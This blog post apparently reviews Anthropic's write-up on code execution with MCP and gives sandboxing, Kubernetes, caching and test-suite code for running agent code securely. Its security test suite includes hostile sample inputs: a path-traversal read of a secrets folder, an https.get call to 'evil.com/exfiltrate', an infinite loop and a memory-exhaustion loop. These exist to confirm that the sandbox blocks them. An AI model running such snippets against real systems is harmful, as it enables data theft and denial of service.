Code Execution with MCP: 98.7% Token Reduction Through Efficient Agent Architecture
Anthropic's latest engineering insight reveals how code execution with Model Context Protocol can achieve 98.7% token reduction while enhancing security and performance. Here's what this means for production MCP infrastructure, quality engineering practices, and enterprise deployment strategies.
Published
November 4, 2025
Author
Bryan Thompson
Read Time
16 min read
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Source Attribution: This post provides triepod.ai's infrastructure engineering and production deployment perspective based on Anthropic's Code execution with MCP: Building more efficient AI agents engineering blog post by Adam Jones and Conor Kelly. We encourage readers to view the original article for complete technical details and official implementation examples.
On November 4, 2025, Anthropic published a groundbreaking engineering insight that fundamentally changes how we should think about MCP server architecture: code execution as a first-class capability for reducing token consumption while enhancing agent capabilities. The demonstration showing 98.7% token reduction in real-world scenarios isn't just impressive—it represents a paradigm shift in production AI infrastructure design.
For teams building production MCP servers, this insight raises critical questions: How do we implement secure code execution environments? What are the quality engineering implications? How does this change our approach to MCP server design? Let's explore what code execution with MCP means for enterprise infrastructure.
The Token Consumption Crisis
Traditional MCP architectures face a fundamental scaling problem: as agents interact with more tools and data sources, token consumption grows exponentially. Every tool definition, every data transformation, every intermediate result consumes precious context window space.
Traditional MCP Token Overhead
Every available tool must be described in the context window, consuming thousands of tokens even when unused
Large datasets must be sent in their entirety to the model for processing and filtering
Every transformation step accumulates in the conversation history, degrading performance
Complex operations require multiple model round-trips, each incurring API latency
In production environments, these constraints translate to real costs: higher API bills, slower response times, and architectural complexity managing context window limitations. The traditional approach of exposing every capability as a separate tool doesn't scale.
Code Execution Paradigm Shift
Code execution with MCP inverts the traditional architecture: instead of exposing hundreds of specialized tools, you provide a secure execution environment where agents can dynamically discover, filter, and compose capabilities programmatically.
Code Execution Efficiency Gains
Anthropic's demonstration shows dramatic token savings through in-execution filtering and processing
Agents can query available capabilities on-demand rather than loading all schemas upfront
Process large datasets in the execution environment, returning only relevant results to the model
Time to first token improves dramatically with fewer API round-trips
This isn't just an optimization—it's a fundamental rethinking of MCP architecture that enables capabilities previously impossible due to token constraints.
1// Traditional MCP Pattern: High Token Overhead2// Every tool schema loaded into context3const tools = [4 { name: "list_files", schema: {...}, description: "..." },5 { name: "read_file", schema: {...}, description: "..." },6 { name: "search_files", schema: {...}, description: "..." },7 // ... 100 more tool definitions8];910// Code Execution Pattern: Dynamic Discovery11// Agent queries capabilities on-demand12const availableTools = await executeCode(`13 // List available filesystem operations14 const fs = require('fs');15 return Object.keys(fs).filter(k => typeof fs[k] === 'function');16`);1718// Agent processes data in execution environment19const results = await executeCode(`20 const fs = require('fs');21 const files = fs.readdirSync('./data');2223 // Filter in execution environment24 const relevantFiles = files25 .filter(f => f.includes('2025'))26 .map(f => ({ name: f, size: fs.statSync(`./data/${f}`).size }))27 .filter(f => f.size < 1000000);2829 // Return only processed results30 return relevantFiles;31`);3233// Token savings: Only final results transmitted to model34// Original approach: 10,000+ tokens for all file metadata35// Code execution: 200 tokens for filtered results36// Reduction: 98%Architecture and Implementation Patterns
Implementing code execution with MCP requires careful architectural decisions about execution environments, capability exposure, and state management.
Execution Environment Design
The execution environment is the foundation of this architecture. It must balance capability exposure with security isolation, performance with resource constraints.
1// MCP Server with Code Execution Environment2import { Server } from '@modelcontextprotocol/sdk/server/index.js';3import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js';4import { VM } from 'vm2'; // Secure JavaScript execution56class CodeExecutionMCPServer {7 private server: Server;8 private vm: VM;910 constructor() {11 this.server = new Server({12 name: 'code-execution-mcp',13 version: '1.0.0',14 }, {15 capabilities: {16 tools: {}, // Expose code execution tool17 resources: {} // Expose filesystem resources18 }19 });2021 // Create isolated execution environment22 this.vm = new VM({23 timeout: 5000, // 5 second execution limit24 sandbox: {25 // Controlled API exposure26 fs: this.createSecureFilesystemAPI(),27 console: this.createMonitoredConsole(),28 // Custom MCP operations29 mcp: this.createMCPOperations()30 }31 });3233 this.setupHandlers();34 }3536 private createSecureFilesystemAPI() {37 // Sandboxed filesystem access38 return {39 readdirSync: (path: string) => {40 // Path traversal protection41 const sanitized = this.sanitizePath(path);42 // Allowlist verification43 if (!this.isPathAllowed(sanitized)) {44 throw new Error('Path access denied');45 }46 return fs.readdirSync(sanitized);47 },48 // ... other secured filesystem operations49 };50 }5152 private setupHandlers() {53 // Handle code execution requests54 this.server.setRequestHandler(ToolCallRequestSchema,55 async (request) => {56 if (request.params.name === 'execute_code') {57 const code = request.params.arguments?.code as string;58 const result = await this.executeSecurely(code);59 return {60 content: [{ type: 'text', text: JSON.stringify(result) }]61 };62 }63 }64 );65 }6667 private async executeSecurely(code: string): Promise<any> {68 try {69 // Execute in isolated VM with timeout protection70 const result = this.vm.run(code);7172 // Log execution for audit trail73 this.logExecution(code, result);7475 return result;76 } catch (error) {77 // Handle execution errors safely78 return { error: error.message };79 }80 }81}8283export const server = new CodeExecutionMCPServer();Dynamic Tool Discovery Pattern
Rather than exposing hundreds of tools, expose a capability discovery mechanism that agents can query programmatically.
1// Agent discovers capabilities dynamically2const discoverTools = async () => {3 const code = `4 // Query available filesystem operations5 const fsOps = Object.keys(mcp.fs)6 .filter(k => typeof mcp.fs[k] === 'function')7 .map(k => ({8 name: k,9 description: mcp.fs[k].toString().match(/\/\*\*([^*]|\*(?!\/))*\*\//)?.[0]10 }));1112 // Query available database operations13 const dbOps = Object.keys(mcp.db)14 .filter(k => typeof mcp.db[k] === 'function')15 .map(k => ({ name: k, signature: mcp.db[k].toString() }));1617 return { filesystem: fsOps, database: dbOps };18 `;1920 return await executeCode(code);21};2223// Agent uses discovered capabilities24const capabilities = await discoverTools();2526// Only load schemas for tools actually needed27const readFileSchema = capabilities.filesystem28 .find(op => op.name === 'readFile');2930// Execute operation in code environment31const fileContents = await executeCode(`32 return mcp.fs.readFile('./config.json', 'utf8');33`);3435// Token comparison:36// Traditional: 5000 tokens (all filesystem tool schemas)37// Dynamic discovery: 200 tokens (query + specific operation)38// Reduction: 96%Security and Sandboxing Requirements
Anthropic correctly emphasizes that code execution requires "secure execution environment with appropriate sandboxing." This isn't optional—it's the foundation of production-ready code execution with MCP.
Critical Security Requirements
Code execution must occur in isolated processes with strict resource limits (CPU, memory, network)
Path traversal protection, allowlisting, and permission enforcement prevent unauthorized access
Outbound network access must be controlled through explicit allowlists or completely disabled
Strict timeout enforcement prevents infinite loops and resource exhaustion attacks
Complete execution audit trail for security investigation and compliance requirements
Sandboxing Implementation Options
1// Option 1: VM2 for JavaScript Isolation (Development)2import { VM } from 'vm2';34const vm = new VM({5 timeout: 5000,6 sandbox: { /* controlled API */ },7 eval: false,8 wasm: false9});1011// Option 2: Docker Containers (Production)12import Docker from 'dockerode';1314const docker = new Docker();1516async function executeInContainer(code: string) {17 const container = await docker.createContainer({18 Image: 'node:18-alpine',19 Cmd: ['node', '-e', code],20 NetworkDisabled: true,21 Memory: 256 * 1024 * 1024, // 256MB limit22 MemorySwap: 256 * 1024 * 1024,23 CpuShares: 512,24 AttachStdout: true,25 AttachStderr: true26 });2728 await container.start();2930 const timeout = setTimeout(async () => {31 await container.kill();32 }, 5000);3334 const stream = await container.logs({35 stdout: true,36 stderr: true,37 follow: true38 });3940 let output = '';41 stream.on('data', (chunk) => { output += chunk.toString(); });4243 await container.wait();44 clearTimeout(timeout);45 await container.remove();4647 return output;48}4950// Option 3: gVisor for Strong Kernel Isolation (Enterprise)51// Use gVisor runtime with Docker for kernel-level isolation52const secureContainer = await docker.createContainer({53 Image: 'code-execution-env',54 Runtime: 'runsc', // gVisor runtime55 Cmd: ['node', '-e', code],56 // ... security constraints57});5859// Option 4: WebAssembly Sandboxing60// Compile code to WASM for browser-level isolation61import { WASI } from 'wasi';62import { readFileSync } from 'fs';6364const wasi = new WASI({65 args: process.argv,66 env: {},67 preopens: {68 '/sandbox': '/tmp/sandbox' // Limited filesystem access69 }70});7172const wasm = await WebAssembly.compile(73 readFileSync('./code-execution.wasm')74);7576const instance = await WebAssembly.instantiate(wasm, {77 wasi_snapshot_preview1: wasi.wasiImport78});7980wasi.start(instance);For production deployments, Docker containers with gVisor provide the best balance of security, performance, and operational simplicity. VM2 is suitable for development but shouldn't be used in production with untrusted code.
Production Deployment Strategies
Deploying code execution capabilities in production requires infrastructure planning beyond simple sandboxing. You need container orchestration, resource management, and monitoring infrastructure.
Kubernetes Deployment Architecture
1# Kubernetes deployment for code execution MCP server2apiVersion: apps/v13kind: Deployment4metadata:5 name: code-execution-mcp6spec:7 replicas: 38 selector:9 matchLabels:10 app: code-execution-mcp11 template:12 metadata:13 labels:14 app: code-execution-mcp15 spec:16 # Security context for pod17 securityContext:18 runAsNonRoot: true19 runAsUser: 100020 fsGroup: 100021 seccompProfile:22 type: RuntimeDefault2324 containers:25 - name: mcp-server26 image: code-execution-mcp:latest2728 # Resource limits critical for security29 resources:30 requests:31 memory: "512Mi"32 cpu: "500m"33 limits:34 memory: "1Gi"35 cpu: "1000m"3637 # Security hardening38 securityContext:39 allowPrivilegeEscalation: false40 readOnlyRootFilesystem: true41 capabilities:42 drop: ["ALL"]4344 # Environment configuration45 env:46 - name: EXECUTION_TIMEOUT47 value: "5000"48 - name: MAX_MEMORY_MB49 value: "256"50 - name: ENABLE_NETWORK51 value: "false"5253 # Health checks54 livenessProbe:55 httpGet:56 path: /health57 port: 808058 initialDelaySeconds: 3059 periodSeconds: 106061 readinessProbe:62 httpGet:63 path: /ready64 port: 808065 initialDelaySeconds: 566 periodSeconds: 56768 # Logging configuration69 volumeMounts:70 - name: logs71 mountPath: /var/log/mcp7273 # Ephemeral volume for logs74 volumes:75 - name: logs76 emptyDir: {}7778---79# Service for MCP server80apiVersion: v181kind: Service82metadata:83 name: code-execution-mcp84spec:85 selector:86 app: code-execution-mcp87 ports:88 - port: 808089 targetPort: 80809091---92# Network policy restricting outbound access93apiVersion: networking.k8s.io/v194kind: NetworkPolicy95metadata:96 name: code-execution-isolation97spec:98 podSelector:99 matchLabels:100 app: code-execution-mcp101 policyTypes:102 - Ingress103 - Egress104 ingress:105 - from:106 - podSelector:107 matchLabels:108 role: mcp-client109 ports:110 - protocol: TCP111 port: 8080112 egress:113 - to:114 - podSelector:115 matchLabels:116 role: database117 ports:118 - protocol: TCP119 port: 5432120 # No other egress allowed - code execution is isolatedResource Management and Auto-Scaling
1# Horizontal Pod Autoscaler for code execution workloads2apiVersion: autoscaling/v23kind: HorizontalPodAutoscaler4metadata:5 name: code-execution-mcp-hpa6spec:7 scaleTargetRef:8 apiVersion: apps/v19 kind: Deployment10 name: code-execution-mcp11 minReplicas: 312 maxReplicas: 2013 metrics:14 # Scale on CPU utilization15 - type: Resource16 resource:17 name: cpu18 target:19 type: Utilization20 averageUtilization: 7021 # Scale on memory utilization22 - type: Resource23 resource:24 name: memory25 target:26 type: Utilization27 averageUtilization: 8028 # Scale on custom metrics (execution queue depth)29 - type: Pods30 pods:31 metric:32 name: execution_queue_depth33 target:34 type: AverageValue35 averageValue: "10"36 behavior:37 scaleDown:38 stabilizationWindowSeconds: 30039 policies:40 - type: Percent41 value: 5042 periodSeconds: 6043 scaleUp:44 stabilizationWindowSeconds: 6045 policies:46 - type: Percent47 value: 10048 periodSeconds: 304950---51# Pod Disruption Budget for high availability52apiVersion: policy/v153kind: PodDisruptionBudget54metadata:55 name: code-execution-mcp-pdb56spec:57 minAvailable: 258 selector:59 matchLabels:60 app: code-execution-mcpPerformance Optimization Techniques
While code execution dramatically reduces token consumption, execution overhead can impact latency. Smart caching and execution planning minimize this impact.
Result Caching Strategy
1// Intelligent caching for code execution results2import { createHash } from 'crypto';3import Redis from 'ioredis';45class ExecutionCache {6 private redis: Redis;7 private ttl: number = 3600; // 1 hour default89 constructor() {10 this.redis = new Redis({11 host: process.env.REDIS_HOST,12 port: parseInt(process.env.REDIS_PORT || '6379'),13 // Cluster configuration for production14 enableReadyCheck: true,15 maxRetriesPerRequest: 316 });17 }1819 private generateCacheKey(code: string, context: any): string {20 // Hash code + context for cache key21 const content = JSON.stringify({ code, context });22 return `exec:${createHash('sha256').update(content).digest('hex')}`;23 }2425 async getCached(code: string, context: any): Promise<any | null> {26 const key = this.generateCacheKey(code, context);27 const cached = await this.redis.get(key);2829 if (cached) {30 // Track cache hit metrics31 this.metrics.increment('execution.cache.hit');32 return JSON.parse(cached);33 }3435 this.metrics.increment('execution.cache.miss');36 return null;37 }3839 async setCached(40 code: string,41 context: any,42 result: any,43 ttl?: number44 ): Promise<void> {45 const key = this.generateCacheKey(code, context);46 await this.redis.setex(47 key,48 ttl || this.ttl,49 JSON.stringify(result)50 );51 }5253 async invalidatePattern(pattern: string): Promise<void> {54 // Invalidate cache entries matching pattern55 const keys = await this.redis.keys(`exec:*${pattern}*`);56 if (keys.length > 0) {57 await this.redis.del(...keys);58 }59 }60}6162// Usage in MCP server63class CodeExecutionMCPServer {64 private cache: ExecutionCache;6566 async executeCode(code: string, context: any): Promise<any> {67 // Check cache first68 const cached = await this.cache.getCached(code, context);69 if (cached) {70 return cached;71 }7273 // Execute if not cached74 const result = await this.vm.run(code);7576 // Determine cacheable based on code analysis77 if (this.isCacheable(code)) {78 await this.cache.setCached(code, context, result);79 }8081 return result;82 }8384 private isCacheable(code: string): boolean {85 // Don't cache code with time-sensitive operations86 const nonCacheablePatterns = [87 /new Date\(/,88 /Math\.random\(/,89 /Date\.now\(/,90 /performance\.now\(/91 ];9293 return !nonCacheablePatterns.some(pattern => pattern.test(code));94 }95}Connection Pooling for Container Execution
1// Container pool for faster execution startup2class ContainerPool {3 private pool: Docker.Container[];4 private available: Docker.Container[];5 private poolSize: number = 10;67 constructor(private docker: Docker) {8 this.pool = [];9 this.available = [];10 }1112 async initialize(): Promise<void> {13 // Pre-warm container pool14 const containers = await Promise.all(15 Array(this.poolSize).fill(null).map(() =>16 this.createContainer()17 )18 );1920 this.pool = containers;21 this.available = [...containers];22 }2324 private async createContainer(): Promise<Docker.Container> {25 return await this.docker.createContainer({26 Image: 'code-execution-env:latest',27 NetworkDisabled: true,28 Memory: 256 * 1024 * 1024,29 Tty: false,30 OpenStdin: true,31 StdinOnce: false,32 // Keep container alive for reuse33 Cmd: ['node', '--eval', 'process.stdin.resume()']34 });35 }3637 async acquire(): Promise<Docker.Container> {38 // Wait for available container39 while (this.available.length === 0) {40 await new Promise(resolve => setTimeout(resolve, 100));41 }4243 const container = this.available.shift()!;4445 // Ensure container is running46 const info = await container.inspect();47 if (!info.State.Running) {48 await container.start();49 }5051 return container;52 }5354 async release(container: Docker.Container): Promise<void> {55 // Reset container state56 await this.cleanupContainer(container);5758 // Return to available pool59 this.available.push(container);60 }6162 private async cleanupContainer(63 container: Docker.Container64 ): Promise<void> {65 // Remove any created files66 await container.exec({67 Cmd: ['sh', '-c', 'rm -rf /tmp/*'],68 AttachStdout: false,69 AttachStderr: false70 });7172 // Clear process state73 // (implementation depends on execution model)74 }7576 async destroy(): Promise<void> {77 // Cleanup all containers78 await Promise.all(79 this.pool.map(async (container) => {80 try {81 await container.stop();82 await container.remove();83 } catch (error) {84 // Already stopped/removed85 }86 })87 );88 }89}9091// Usage reduces cold start latency from ~2s to ~50ms92const pool = new ContainerPool(docker);93await pool.initialize();9495async function executeWithPool(code: string): Promise<any> {96 const container = await pool.acquire();97 try {98 const result = await executeInContainer(container, code);99 return result;100 } finally {101 await pool.release(container);102 }103}Enterprise Implementation Guidelines
Enterprise deployments require additional considerations around compliance, audit logging, and data privacy that go beyond basic sandboxing.
Privacy-Preserving Execution
Anthropic highlights that code execution supports "privacy-preserving operations by keeping intermediate results in execution environment" and "automatically tokenizing sensitive data." This is critical for enterprise compliance.
1// Privacy-preserving data processing in execution environment2class PrivacyPreservingExecutor {3 async processCustomerData(customerIds: string[]): Promise<any> {4 // Execute data processing in secure environment5 const code = `6 const { tokenize, process } = mcp.privacy;78 // Load customer data in execution environment9 const customers = await mcp.db.query(10 'SELECT * FROM customers WHERE id = ANY($1)',11 [customerIds]12 );1314 // Process without exposing PII to model15 const insights = customers.map(customer => {16 // Tokenize PII fields17 const tokenized = {18 customerId: tokenize(customer.id),19 email: tokenize(customer.email),20 // Aggregate, non-PII insights only21 purchaseCount: customer.orders.length,22 avgOrderValue: customer.orders.reduce(23 (sum, order) => sum + order.total, 024 ) / customer.orders.length,25 lastPurchase: customer.orders[0]?.date26 };2728 return tokenized;29 });3031 // Return aggregated insights only32 return {33 totalCustomers: insights.length,34 avgPurchaseCount: insights.reduce(35 (sum, i) => sum + i.purchaseCount, 036 ) / insights.length,37 avgOrderValue: insights.reduce(38 (sum, i) => sum + i.avgOrderValue, 039 ) / insights.length40 };41 `;4243 // Execute code - PII never transmitted to model44 return await this.execute(code);45 }46}4748// Audit logging for compliance49class AuditLogger {50 async logExecution(execution: {51 code: string;52 user: string;53 timestamp: Date;54 dataAccessed: string[];55 result: any;56 }): Promise<void> {57 // Comprehensive audit trail58 await this.db.query(`59 INSERT INTO execution_audit_log (60 execution_id,61 user_id,62 timestamp,63 code_hash,64 data_accessed,65 execution_duration_ms,66 result_summary67 ) VALUES ($1, $2, $3, $4, $5, $6, $7)68 `, [69 uuidv4(),70 execution.user,71 execution.timestamp,72 this.hashCode(execution.code),73 JSON.stringify(execution.dataAccessed),74 execution.durationMs,75 this.summarizeResult(execution.result)76 ]);77 }7879 // Compliance reporting80 async generateComplianceReport(81 startDate: Date,82 endDate: Date83 ): Promise<ComplianceReport> {84 // Query audit log for compliance reporting85 const executions = await this.db.query(`86 SELECT87 user_id,88 COUNT(*) as execution_count,89 jsonb_array_elements_text(data_accessed) as accessed_table,90 COUNT(DISTINCT accessed_table) as unique_tables_accessed91 FROM execution_audit_log92 WHERE timestamp BETWEEN $1 AND $293 GROUP BY user_id, accessed_table94 `, [startDate, endDate]);9596 return this.formatComplianceReport(executions);97 }98}Quality Engineering and Testing
Code execution with MCP introduces new testing requirements beyond traditional MCP server validation. You need to test sandbox escape attempts, resource exhaustion scenarios, and execution correctness.
1// Comprehensive test suite for code execution MCP server2describe('Code Execution MCP Server', () => {3 describe('Security Tests', () => {4 it('should prevent filesystem traversal attacks', async () => {5 const maliciousCode = `6 const fs = require('fs');7 return fs.readdirSync('../../secrets/');8 `;910 await expect(11 executeCode(maliciousCode)12 ).rejects.toThrow('Path access denied');13 });1415 it('should prevent network access', async () => {16 const maliciousCode = `17 const https = require('https');18 return new Promise((resolve) => {19 https.get('https://evil.com/exfiltrate', resolve);20 });21 `;2223 await expect(24 executeCode(maliciousCode)25 ).rejects.toThrow('Network access denied');26 });2728 it('should enforce execution timeout', async () => {29 const infiniteLoop = `30 while(true) { /* infinite loop */ }31 `;3233 const start = Date.now();34 await expect(35 executeCode(infiniteLoop)36 ).rejects.toThrow('Execution timeout');3738 const duration = Date.now() - start;39 expect(duration).toBeLessThan(6000); // 5s timeout + 1s buffer40 });4142 it('should enforce memory limits', async () => {43 const memoryExhaustion = `44 const arrays = [];45 while(true) {46 arrays.push(new Array(1000000).fill('x'));47 }48 `;4950 await expect(51 executeCode(memoryExhaustion)52 ).rejects.toThrow('Memory limit exceeded');53 });54 });5556 describe('Correctness Tests', () => {57 it('should execute valid data transformations', async () => {58 const code = `59 const data = [1, 2, 3, 4, 5];60 return data61 .filter(x => x % 2 === 0)62 .map(x => x * 2);63 `;6465 const result = await executeCode(code);66 expect(result).toEqual([4, 8]);67 });6869 it('should preserve execution context across calls', async () => {70 // First execution sets state71 await executeCode(`72 mcp.state.counter = 0;73 `);7475 // Second execution reads state76 const result = await executeCode(`77 return ++mcp.state.counter;78 `);7980 expect(result).toBe(1);81 });82 });8384 describe('Performance Tests', () => {85 it('should complete execution within latency budget', async () => {86 const code = `87 const fs = require('fs');88 const files = fs.readdirSync('./data');89 return files.filter(f => f.endsWith('.json'));90 `;9192 const start = Date.now();93 await executeCode(code);94 const duration = Date.now() - start;9596 // Execution should complete in <100ms97 expect(duration).toBeLessThan(100);98 });99100 it('should handle concurrent executions', async () => {101 const executions = Array(100).fill(null).map((_, i) =>102 executeCode(`return ${i} * 2;`)103 );104105 const results = await Promise.all(executions);106107 // Verify all executions completed correctly108 results.forEach((result, i) => {109 expect(result).toBe(i * 2);110 });111 });112 });113114 describe('Integration Tests', () => {115 it('should integrate with MCP filesystem resources', async () => {116 const code = `117 // Access filesystem through MCP resource API118 const content = await mcp.resources.read(119 'file:///data/config.json'120 );121 return JSON.parse(content);122 `;123124 const result = await executeCode(code);125 expect(result).toHaveProperty('apiKey');126 });127128 it('should integrate with MCP database tools', async () => {129 const code = `130 // Query database through MCP tool API131 const users = await mcp.tools.call('db_query', {132 sql: 'SELECT COUNT(*) FROM users WHERE active = true'133 });134 return users[0].count;135 `;136137 const result = await executeCode(code);138 expect(typeof result).toBe('number');139 });140 });141});Future Implications for MCP Infrastructure
Code execution with MCP isn't just an optimization technique—it's a fundamental shift in how we should think about MCP server architecture. The implications extend far beyond token reduction.
Future Architecture Patterns
Code execution enables agents to compose capabilities dynamically rather than requiring pre-defined tool combinations
Build libraries of reusable code patterns that agents can leverage without tool schema overhead
Maintain execution state across multi-step operations without bloating conversation history
Process data closer to its source, transmitting only insights to the model rather than raw data
As MCP ecosystems mature, we'll see code execution become a standard capability rather than an advanced pattern. The 98.7% token reduction demonstrated by Anthropic isn't just impressive—it's economically necessary for complex multi-agent systems operating at scale.
The challenge for infrastructure teams is implementing secure, performant code execution environments before they become a competitive requirement. Organizations that master this pattern early will have significant advantages in building sophisticated AI systems that remain cost-effective at scale.